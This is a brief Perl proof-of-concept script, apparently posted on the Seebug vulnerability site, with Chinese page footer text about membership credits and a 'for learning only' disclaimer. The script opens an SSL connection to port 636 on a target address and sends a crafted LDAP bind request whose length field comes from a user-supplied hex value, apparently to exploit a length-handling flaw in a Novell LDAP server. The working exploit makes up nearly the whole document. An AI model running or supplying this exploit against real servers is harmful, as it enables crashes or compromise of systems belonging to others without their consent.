#!/usr/bin/perl # usage: ./novell.pl 10.0.0.1 0x41424344 use IO::Socket::SSL; $socket = new IO::Socket::SSL(Proto=>"tcp", PeerAddr=>$ARGV[0], PeerPort=>636); die "unable to connect to $host:$port ($!)\n" unless $socket; print $socket "\x30\x84" . pack("N",hex($ARGV[1])) . "\x02\x01\x01\x60\x09\x02\x01\x03\x04\x02\x44\x4e\x80\x00" ; close $socket; print "done\n";
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
共 3 兑换
京公网安备 11010502034610号
暂无评论